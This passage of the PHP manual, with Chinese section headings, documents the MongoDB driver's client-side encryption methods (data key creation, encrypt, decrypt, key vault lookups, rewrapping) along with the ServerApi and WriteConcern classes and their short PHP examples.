keyId | string | Optional. Unique identifier to a 96-byte KMIP secret data managed object. If unspecified, the driver creates a random 96-byte KMIP secret data managed object.
endpoint | string | Optional. Host with optional port.

keyAltNames array

An optional list of string alternate names used to reference a key. If a key is created with alternate names, then encryption may refer to the key by the unique alternate name instead of by _id.

keyMaterial MongoDB\BSON\Binary

An optional 96-byte value to use as custom key material for the data key being created. If keyMaterial is given, the custom key material is used for encrypting and decrypting data. Otherwise, the key material for the new data key is generated from a cryptographically secure random device.

返回值

Returns the identifier of the new key as a MongoDB\BSON\Binary object with subtype 4 (UUID).

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Added the "keyMaterial" option.
PECL mongodb 1.10.0 | Azure and GCP are now supported as KMS providers for client-side encryption.

User Contributed Notes

There are no user contributed notes for this page.


Decrypt a value

  • ? MongoDB\Driver\ClientEncryption::createDataKey
  • MongoDB\Driver\ClientEncryption::deleteKey ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Decrypt a value

MongoDB\Driver\ClientEncryption::decrypt

(mongodb >=1.7.0)

MongoDB\Driver\ClientEncryption::decrypt — Decrypt a value

说明

final public MongoDB\Driver\ClientEncryption::decrypt(MongoDB\BSON\Binary $value): mixed

Decrypts the value.

参数

value

A MongoDB\BSON\Binary instance with subtype 6 containing the encrypted value.

返回值

Returns the decrypted value as it was passed to MongoDB\Driver\ClientEncryption::encrypt().

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\EncryptionException if an error occurs while decrypting the value

参见

  • MongoDB\Driver\ClientEncryption::encrypt() - Encrypt a value

User Contributed Notes

There are no user contributed notes for this page.


Deletes a key document

  • ? MongoDB\Driver\ClientEncryption::decrypt
  • MongoDB\Driver\ClientEncryption::encrypt ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Deletes a key document

MongoDB\Driver\ClientEncryption::deleteKey

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::deleteKey — Deletes a key document

说明

final public MongoDB\Driver\ClientEncryption::deleteKey(MongoDB\BSON\Binary $keyId): object

Removes the key document with the given UUID keyId from the key vault collection.

参数

keyId

A MongoDB\BSON\Binary instance with subtype 4 (UUID) identifying the key document.

返回值

Returns the result of the internal deleteOne operation on the key vault collection.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

User Contributed Notes

There are no user contributed notes for this page.


Encrypt a value

  • ? MongoDB\Driver\ClientEncryption::deleteKey
  • MongoDB\Driver\ClientEncryption::encryptExpression ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Encrypt a value

MongoDB\Driver\ClientEncryption::encrypt

(mongodb >=1.7.0)

MongoDB\Driver\ClientEncryption::encrypt — Encrypt a value

说明

final public MongoDB\Driver\ClientEncryption::encrypt(mixed $value, ?array $options = null): MongoDB\BSON\Binary

Encrypts the value.

参数

value

The value to be encrypted. Any value that can be inserted into MongoDB can be encrypted using this method.

options

Encryption options
Option Type Description
algorithm string

The encryption algorithm to be used. This option is required. Specify one of the following ClientEncryption constants:

  • MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC
  • MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM
  • MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED
  • MongoDB\Driver\ClientEncryption::ALGORITHM_UNINDEXED
  • MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW
contentionFactor int

The contention factor for evaluating queries with indexed, encrypted payloads.

This option only applies and may only be specified when algorithm is MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED or MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

keyAltName string

Identifies a key vault collection document by keyAltName. This option is mutually exclusive with keyId and exactly one is required.

keyId MongoDB\BSON\Binary

Identifies a data key by _id. The value is a UUID (binary subtype 4). This option is mutually exclusive with keyAltName and exactly one is required.

queryType int

The query type for evaluating queries with indexed, encrypted payloads. Specify one of the following ClientEncryption constants:

  • MongoDB\Driver\ClientEncryption::QUERY_TYPE_EQUALITY
  • MongoDB\Driver\ClientEncryption::QUERY_TYPE_RANGE_PREVIEW

This option only applies and may only be specified when algorithm is MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED or MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

rangeOpts array

Index options for a queryable encryption field supporting "rangePreview" queries. The options below must match the values set in the encryptedFields of the target collection. For double and decimal128 BSON field types, min, max, and precision must all be set, or all be unset.

Range index options
Option | Type | Description
min | mixed | Required if precision is set.
max | mixed | Required if precision is set.
sparsity | int | Required.
precision | int | Optional. May only be set for double or decimal128 BSON field types.

返回值

Returns the encrypted value as MongoDB\BSON\Binary object with subtype 6.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\EncryptionException if an error occurs while encrypting the value

更新日志

版本 | 说明
PECL mongodb 1.14.0 | Added the "contentionFactor" and "queryType" options.

参见

  • MongoDB\Driver\ClientEncryption::decrypt() - Decrypt a value

User Contributed Notes

There are no user contributed notes for this page.


Encrypts a match or aggregate expression

  • ? MongoDB\Driver\ClientEncryption::encrypt
  • MongoDB\Driver\ClientEncryption::getKey ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Encrypts a match or aggregate expression

MongoDB\Driver\ClientEncryption::encryptExpression

(mongodb >=1.16.0)

MongoDB\Driver\ClientEncryption::encryptExpression — Encrypts a match or aggregate expression

说明

final public MongoDB\Driver\ClientEncryption::encryptExpression(array|object $expr, ?array $options = null): object

Encrypts a match or aggregate expression to query a range index.

To query with a range encrypted payload, the MongoDB\Driver\Manager must be configured with the "autoEncryption" driver option. The "bypassQueryAnalysis" auto encryption option may be true. The "bypassAutoEncryption" auto encryption option must be false.

Note:

The range algorithm is experimental only. It is not intended for public use.

The PHP driver does not yet support range queries for decimal128 BSON field types.

参数

expr

The match or aggregate expression to be encrypted. Expressions must use at least one of the $gt, $gte, $lt, or $lte operators. A top-level $and operator is required, even if only a single comparison operator is used.

An example of a supported match expression (applies to queries and the $match aggregation stage) is as follows:

[
    '$and' => [
        [ '<field>' => [ '$gt'  => '<value1>' ] ],
        [ '<field>' => [ '$lte' => '<value2>' ] ],
    ],
]

An example of a supported aggregate expression is as follows:

[
    '$and' => [
        [ '$gte' => [ '<fieldPath>', '<value1>' ] ],
        [ '$lt'  => [ '<fieldPath>', '<value2>' ] ],
    ],
]
options

Encryption options
Option Type Description
algorithm string

The encryption algorithm to be used. This option is required. Specify one of the following ClientEncryption constants:

  • MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC
  • MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM
  • MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED
  • MongoDB\Driver\ClientEncryption::ALGORITHM_UNINDEXED
  • MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW
contentionFactor int

The contention factor for evaluating queries with indexed, encrypted payloads.

This option only applies and may only be specified when algorithm is MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED or MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

keyAltName string

Identifies a key vault collection document by keyAltName. This option is mutually exclusive with keyId and exactly one is required.

keyId MongoDB\BSON\Binary

Identifies a data key by _id. The value is a UUID (binary subtype 4). This option is mutually exclusive with keyAltName and exactly one is required.

queryType int

The query type for evaluating queries with indexed, encrypted payloads. Specify one of the following ClientEncryption constants:

  • MongoDB\Driver\ClientEncryption::QUERY_TYPE_EQUALITY
  • MongoDB\Driver\ClientEncryption::QUERY_TYPE_RANGE_PREVIEW

This option only applies and may only be specified when algorithm is MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED or MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

rangeOpts array

Index options for a queryable encryption field supporting "rangePreview" queries. The options below must match the values set in the encryptedFields of the target collection. For double and decimal128 BSON field types, min, max, and precision must all be set, or all be unset.

Range index options
Option | Type | Description
min | mixed | Required if precision is set.
max | mixed | Required if precision is set.
sparsity | int | Required.
precision | int | Optional. May only be set for double or decimal128 BSON field types.

返回值

Returns the encrypted expression as an object.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\EncryptionException if an error occurs while encrypting the expression

参见

  • MongoDB\Driver\Manager::__construct() - Create new MongoDB Manager

User Contributed Notes

There are no user contributed notes for this page.


Gets a key document

  • ? MongoDB\Driver\ClientEncryption::encryptExpression
  • MongoDB\Driver\ClientEncryption::getKeyByAltName ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Gets a key document

MongoDB\Driver\ClientEncryption::getKey

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::getKey — Gets a key document

说明

final public MongoDB\Driver\ClientEncryption::getKey(MongoDB\BSON\Binary $keyId): ?object

Finds a single key document in the key vault collection with the given UUID keyId.

参数

keyId

A MongoDB\BSON\Binary instance with subtype 4 (UUID) identifying the key document.

返回值

Returns the key document, or null if no document matched.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

User Contributed Notes

There are no user contributed notes for this page.


Gets a key document by an alternate name

  • ? MongoDB\Driver\ClientEncryption::getKey
  • MongoDB\Driver\ClientEncryption::getKeys ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Gets a key document by an alternate name

MongoDB\Driver\ClientEncryption::getKeyByAltName

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::getKeyByAltName — Gets a key document by an alternate name

说明

final public MongoDB\Driver\ClientEncryption::getKeyByAltName(string $keyAltName): ?object

Finds a single key document in the key vault collection with the given alternate name keyAltName.

参数

keyAltName

Alternate name for the key document.

返回值

Returns the key document, or null if no document matched.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

参见

  • MongoDB\Driver\ClientEncryption::addKeyAltName() - Adds an alternate name to a key document
  • MongoDB\Driver\ClientEncryption::removeKeyAltName() - Removes an alternate name from a key document

User Contributed Notes

There are no user contributed notes for this page.


Gets all key documents

  • ? MongoDB\Driver\ClientEncryption::getKeyByAltName
  • MongoDB\Driver\ClientEncryption::removeKeyAltName ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Gets all key documents

MongoDB\Driver\ClientEncryption::getKeys

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::getKeys — Gets all key documents

说明

final public MongoDB\Driver\ClientEncryption::getKeys(): MongoDB\Driver\Cursor

Finds all key documents in the key vault collection.

参数

此函数没有参数。

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

User Contributed Notes

There are no user contributed notes for this page.


Removes an alternate name from a key document

  • ? MongoDB\Driver\ClientEncryption::getKeys
  • MongoDB\Driver\ClientEncryption::rewrapManyDataKey ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Removes an alternate name from a key document

MongoDB\Driver\ClientEncryption::removeKeyAltName

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::removeKeyAltName — Removes an alternate name from a key document

说明

final public MongoDB\Driver\ClientEncryption::removeKeyAltName(MongoDB\BSON\Binary $keyId, string $keyAltName): ?object

Removes keyAltName from the set of alternate names for the key document with the given UUID keyId.

参数

keyId

A MongoDB\BSON\Binary instance with subtype 4 (UUID) identifying the key document.

keyAltName

Alternate name to remove from the key document.

返回值

Returns the previous version of the key document, or null if no document matched.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

参见

  • MongoDB\Driver\ClientEncryption::addKeyAltName() - Adds an alternate name to a key document
  • MongoDB\Driver\ClientEncryption::getKeyByAltName() - Gets a key document by an alternate name

User Contributed Notes

There are no user contributed notes for this page.


Rewraps data keys

  • ? MongoDB\Driver\ClientEncryption::removeKeyAltName
  • MongoDB\Driver\ServerApi ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Rewraps data keys

MongoDB\Driver\ClientEncryption::rewrapManyDataKey

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::rewrapManyDataKey — Rewraps data keys

说明

final public MongoDB\Driver\ClientEncryption::rewrapManyDataKey(array|object $filter, ?array $options = null): object

Rewraps (i.e. decrypts and re-encrypts) zero or more data keys in the key vault collection that match the given filter.

If the "provider" option is not specified, matching data keys will be rewrapped with their current KMS provider. Otherwise, matching data keys will be re-encrypted according to the specified "provider" and "masterKey" options.

参数

filter (array|object)

The » query predicate. An empty predicate will match all documents in the collection.

Note: When evaluating query criteria, MongoDB compares types and values according to its own » comparison rules for BSON types, which differs from PHP's comparison and type juggling rules. When matching a special BSON type the query criteria should use the respective BSON class (e.g. use MongoDB\BSON\ObjectId to match an » ObjectId).

options

RewrapManyDataKey options
Option Type Description
provider string

The KMS provider (e.g. "local", "aws") that will be used to re-encrypt the matched data keys.

If a KMS provider is not specified, matched data keys will be re-encrypted with their current KMS provider.

masterKey array

The masterKey identifies a KMS-specific key used to encrypt the new data key. This option should not be specified without the "provider" option. This option is required if "provider" is specified and not "local".

"aws" provider options
Option | Type | Description
region | string | Required.
key | string | Required. The Amazon Resource Name (ARN) to the AWS customer master key (CMK).
endpoint | string | Optional. An alternate host identifier to send KMS requests to. May include port number.

"azure" provider options
Option | Type | Description
keyVaultEndpoint | string | Required. Host with optional port (e.g. "example.vault.azure.net").
keyName | string | Required.
keyVersion | string | Optional. A specific version of the named key. Defaults to using the key's primary version.

"gcp" provider options
Option | Type | Description
projectId | string | Required.
location | string | Required.
keyRing | string | Required.
keyName | string | Required.
keyVersion | string | Optional. A specific version of the named key. Defaults to using the key's primary version.
endpoint | string | Optional. Host with optional port. Defaults to "cloudkms.googleapis.com".

"kmip" provider options
Option | Type | Description
keyId | string | Optional. Unique identifier to a 96-byte KMIP secret data managed object. If unspecified, the driver creates a random 96-byte KMIP secret data managed object.
endpoint | string | Optional. Host with optional port.

返回值

Returns an object, which will have an optional bulkWriteResult property containing the result of the internal bulkWrite operation as an object. If no data keys matched the filter or the write was unacknowledged, the bulkWriteResult property will be null.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\EncryptionException if an error occurs while decrypting or re-encrypting a data key.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\ServerApi class

(mongodb >=1.10.0)

简介

类摘要

final class MongoDB\Driver\ServerApi implements MongoDB\BSON\Serializable, Serializable {
/* 常量 */
const string MongoDB\Driver\ServerAPI::V1 = "1";
/* 方法 */
final public bsonSerialize(): stdClass
final public __construct(string $version, ?bool $strict = null, ?bool $deprecationErrors = null)
final public serialize(): string
final public unserialize(string $data): void
}

预定义常量

MongoDB\Driver\ServerApi::V1

Server API version 1.

示例

Example #1 Declare an API version on a manager

<?php

use MongoDB\Driver\Manager;
use MongoDB\Driver\ServerApi;

$v1 = new ServerApi(ServerApi::v1);
$manager = new Manager('mongodb://localhost:27017', [], ['serverApi' => $v1]);

$command = new MongoDB\Driver\Command(['buildInfo' => 1]);

try {
$cursor = $manager->executeCommand('admin', $command);
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}

/* The buildInfo command returns a single result document, so we need to access
* the first result in the cursor. */
$buildInfo = $cursor->toArray()[0];

echo $buildInfo->version, "\n";

?>

以上示例会输出：

4.9.0-alpha7-49-gb968ca0

Example #2 Declare a strict API version on a manager

The following example sets the strict flag, which tells the server to reject any command that is not part of the declared API version. This results in an error when running the buildInfo command.

<?php

use MongoDB\Driver\Manager;
use MongoDB\Driver\ServerApi;

$v1 = new ServerApi(ServerApi::v1, true);
$manager = new Manager('mongodb://localhost:27017', [], ['serverApi' => $v1]);

$command = new MongoDB\Driver\Command(['buildInfo' => 1]);

try {
$cursor = $manager->executeCommand('admin', $command);
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}

/* The buildInfo command returns a single result document, so we need to access
* the first result in the cursor. */
$buildInfo = $cursor->toArray()[0];

echo $buildInfo->version, "\n";

?>

以上示例会输出：

Provided apiStrict:true, but the command buildInfo is not in API Version 1

Table of Contents

  • MongoDB\Driver\ServerApi::bsonSerialize — Returns an object for BSON serialization
  • MongoDB\Driver\ServerApi::__construct — Create a new ServerApi instance
  • MongoDB\Driver\ServerApi::serialize — Serialize a ServerApi
  • MongoDB\Driver\ServerApi::unserialize — Unserialize a ServerApi

User Contributed Notes

There are no user contributed notes for this page.


Returns an object for BSON serialization

  • ? MongoDB\Driver\ServerApi
  • MongoDB\Driver\ServerApi::__construct ?
  • PHP Manual
  • MongoDB\Driver\ServerApi
  • Returns an object for BSON serialization

MongoDB\Driver\ServerApi::bsonSerialize

(mongodb >=1.10.0)

MongoDB\Driver\ServerApi::bsonSerialize — Returns an object for BSON serialization

说明

final public MongoDB\Driver\ServerApi::bsonSerialize(): stdClass

参数

此函数没有参数。

返回值

Returns an object for serializing the ServerApi as BSON.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON

User Contributed Notes

There are no user contributed notes for this page.


Create a new ServerApi instance

  • ? MongoDB\Driver\ServerApi::bsonSerialize
  • MongoDB\Driver\ServerApi::serialize ?
  • PHP Manual
  • MongoDB\Driver\ServerApi
  • Create a new ServerApi instance

MongoDB\Driver\ServerApi::__construct

(mongodb >=1.10.0)

MongoDB\Driver\ServerApi::__construct — Create a new ServerApi instance

说明

final public MongoDB\Driver\ServerApi::__construct(string $version, ?bool $strict = null, ?bool $deprecationErrors = null)

Creates a new MongoDB\Driver\ServerApi instance used to declare an API version when creating a MongoDB\Driver\Manager.

参数

version

A server API version.

Supported API versions are provided as constants in MongoDB\Driver\ServerApi. The only supported API version is MongoDB\Driver\ServerApi::V1.

strict

If the strict parameter is set to true, the server will yield an error for any command that is not part of the specified API version. If no value is provided, the server default value (false) is used.

deprecationErrors

If the deprecationErrors parameter is set to true, the server will yield an error when using a command that is deprecated in the specified API version. If no value is provided, the server default value (false) is used.

User Contributed Notes

There are no user contributed notes for this page.


Serialize a ServerApi

  • ? MongoDB\Driver\ServerApi::__construct
  • MongoDB\Driver\ServerApi::unserialize ?
  • PHP Manual
  • MongoDB\Driver\ServerApi
  • Serialize a ServerApi

MongoDB\Driver\ServerApi::serialize

(mongodb >=1.10.0)

MongoDB\Driver\ServerApi::serialize — Serialize a ServerApi

说明

final public MongoDB\Driver\ServerApi::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\Driver\ServerApi.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\ServerApi::unserialize() - Unserialize a ServerApi
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a ServerApi

  • ? MongoDB\Driver\ServerApi::serialize
  • MongoDB\Driver\WriteConcern ?
  • PHP Manual
  • MongoDB\Driver\ServerApi
  • Unserialize a ServerApi

MongoDB\Driver\ServerApi::unserialize

(mongodb >=1.10.0)

MongoDB\Driver\ServerApi::unserialize — Unserialize a ServerApi

说明

final public MongoDB\Driver\ServerApi::unserialize(string $data): void

参数

data

The serialized MongoDB\Driver\ServerApi.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\Driver\ServerApi::serialize() - Serialize a ServerApi
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\WriteConcern class

(mongodb >=1.0.0)

简介

MongoDB\Driver\WriteConcern describes the level of acknowledgement requested from MongoDB for write operations to a standalone mongod or to replica sets or to sharded clusters. In sharded clusters, mongos instances will pass the write concern on to the shards.

类摘要

final class MongoDB\Driver\WriteConcern implements MongoDB\BSON\Serializable, Serializable {
/* 常量 */
const string MAJORITY = "majority";
/* 方法 */
final public bsonSerialize(): stdClass
final public __construct(string|int $w, ?int $wtimeout = null, ?bool $journal = null)
final public getJournal(): ?bool
final public getW(): string|int|null
final public getWtimeout(): int
final public isDefault(): bool
final public serialize(): string
final public unserialize(string $data): void
}

预定义常量

MongoDB\Driver\WriteConcern::MAJORITY

Majority of all the members in the set; arbiters, non-voting members, passive members, hidden members and delayed members are all included in the definition of majority write concern.

更新日志

版本 | 说明
PECL mongodb 1.7.0 | Implements Serializable.
PECL mongodb 1.2.0 | Implements MongoDB\BSON\Serializable.

Table of Contents

  • MongoDB\Driver\WriteConcern::bsonSerialize — Returns an object for BSON serialization
  • MongoDB\Driver\WriteConcern::__construct — Create a new WriteConcern
  • MongoDB\Driver\WriteConcern::getJournal — Returns the WriteConcern's "journal" option
  • MongoDB\Driver\WriteConcern::getW — Returns the WriteConcern's "w" option
  • MongoDB\Driver\WriteConcern::getWtimeout — Returns the WriteConcern's "wtimeout" option
  • MongoDB\Driver\WriteConcern::isDefault — Checks if this is the default write concern
  • MongoDB\Driver\WriteConcern::serialize — Serialize a WriteConcern
  • MongoDB\Driver\WriteConcern::unserialize — Unserialize a WriteConcern

User Contributed Notes

There are no user contributed notes for this page.


Returns an object for BSON serialization

  • ? MongoDB\Driver\WriteConcern
  • MongoDB\Driver\WriteConcern::__construct ?
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Returns an object for BSON serialization

MongoDB\Driver\WriteConcern::bsonSerialize

(mongodb >=1.2.0)

MongoDB\Driver\WriteConcern::bsonSerialize — Returns an object for BSON serialization

说明

final public MongoDB\Driver\WriteConcern::bsonSerialize(): stdClass

参数

此函数没有参数。

返回值

Returns an object for serializing the WriteConcern as BSON.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteConcern::bsonSerialize() with majority write concern

<?php

$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY);
var_dump($wc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($wc));

?>

以上示例的输出类似于：

object(stdClass)#2 (1) {
  ["w"]=>
  string(8) "majority"
}

{ "w" : "majority" }

Example #2 MongoDB\Driver\WriteConcern::bsonSerialize() with wtimeout and journal

<?php

$wc = new MongoDB\Driver\WriteConcern(2, 1000, true);
var_dump($wc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($wc));

?>

以上示例的输出类似于：

object(stdClass)#2 (3) {
  ["w"]=>
  int(2)
  ["j"]=>
  bool(true)
  ["wtimeout"]=>
  int(1000)
}

{ "w" : 2, "j" : true, "wtimeout" : 1000 }

参见

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON
  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Create a new WriteConcern

  • ? MongoDB\Driver\WriteConcern::bsonSerialize
  • MongoDB\Driver\WriteConcern::getJournal ?
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Create a new WriteConcern

MongoDB\Driver\WriteConcern::__construct

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::__construct — Create a new WriteConcern

说明

final public MongoDB\Driver\WriteConcern::__construct(string|int $w, ?int $wtimeout = null, ?bool $journal = null)

Constructs a new MongoDB\Driver\WriteConcern, which is an immutable value object.

参数

w

Write concern
Value | Description
1 | Requests acknowledgement that the write operation has propagated to the standalone mongod or the primary in a replica set. This is the default write concern for MongoDB.
0 | Requests no acknowledgment of the write operation. However, this may return information about socket exceptions and networking errors to the application.
<integer greater than 1> | Numbers greater than 1 are valid only for replica sets to request acknowledgement from specified number of members, including the primary.
MongoDB\Driver\WriteConcern::MAJORITY

Requests acknowledgment that write operations have propagated to the majority of voting nodes, including the primary, and have been written to the on-disk journal for these nodes.

Prior to MongoDB 3.0, this refers to the majority of replica set members (not just voting nodes).

string | A string value is interpereted as a tag set. Requests acknowledgement that the write operations have propagated to a replica set member with the specified tag.

wtimeout

How long to wait (in milliseconds) for secondaries before failing.

wtimeout causes write operations to return with an error (WriteConcernError) after the specified limit, even if the required write concern will eventually succeed. When these write operations return, MongoDB does not undo successful data modifications performed before the write concern exceeded the wtimeout time limit.

If specified, wtimeout must be a signed 64-bit integer greater than or equal to zero.

Write concern timeout
Value | Description
0 | Block indefinitely. This is the default.
<integer greater than 0> | Milliseconds to wait until returning.

journal

Wait until mongod has applied the write to the journal.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if w is invalid or wtimeout is either negative or greater than the bounds of a signed 32-bit integer.

更新日志

版本 | 说明
PECL mongodb 1.7.0 | The wTimeout parameter now accepts 64-bit values.

示例

Example #1 MongoDB\Driver\WriteConcern::__construct() example

<?php

/* Request write acknowledgement from the majority of the replica set nodes */
$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 500);

/* Request write acknowledgement from a node configured with the "MultipleDC" tag */
$wc = new MongoDB\Driver\WriteConcern("MultipleDC", 500);

?>

参见

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcern's "journal" option

  • ? MongoDB\Driver\WriteConcern::__construct
  • MongoDB\Driver\WriteConcern::getW ?
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Returns the WriteConcern's "journal" option

MongoDB\Driver\WriteConcern::getJournal

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::getJournal — Returns the WriteConcern's "journal" option

说明

final public MongoDB\Driver\WriteConcern::getJournal(): ?bool

参数

此函数没有参数。

返回值

Returns the WriteConcern's "journal" option.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteConcern::getJournal() example

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->getJournal());

$wc = new MongoDB\Driver\WriteConcern(1, 0, true);
var_dump($wc->getJournal());

$wc = new MongoDB\Driver\WriteConcern(1, 0, false);
var_dump($wc->getJournal());

?>

以上示例会输出：

NULL
bool(true)
bool(false)

参见

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcern's "w" option

  • ? MongoDB\Driver\WriteConcern::getJournal
  • MongoDB\Driver\WriteConcern::getWtimeout ?
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Returns the WriteConcern's "w" option

MongoDB\Driver\WriteConcern::getW

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::getW — Returns the WriteConcern's "w" option

说明

final public MongoDB\Driver\WriteConcern::getW(): string|int|null

参数

此函数没有参数。

返回值

Returns the WriteConcern's "w" option.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteConcern::getW() example

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->getW());

$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY);
var_dump($wc->getW());

?>

以上示例会输出：

int(1)
string(8) "majority"

参见

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcern's "wtimeout" option

  • ? MongoDB\Driver\WriteConcern::getW
  • MongoDB\Driver\WriteConcern::isDefault ?
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Returns the WriteConcern's "wtimeout" option

MongoDB\Driver\WriteConcern::getWtimeout

(mongodb >=1.0.0)

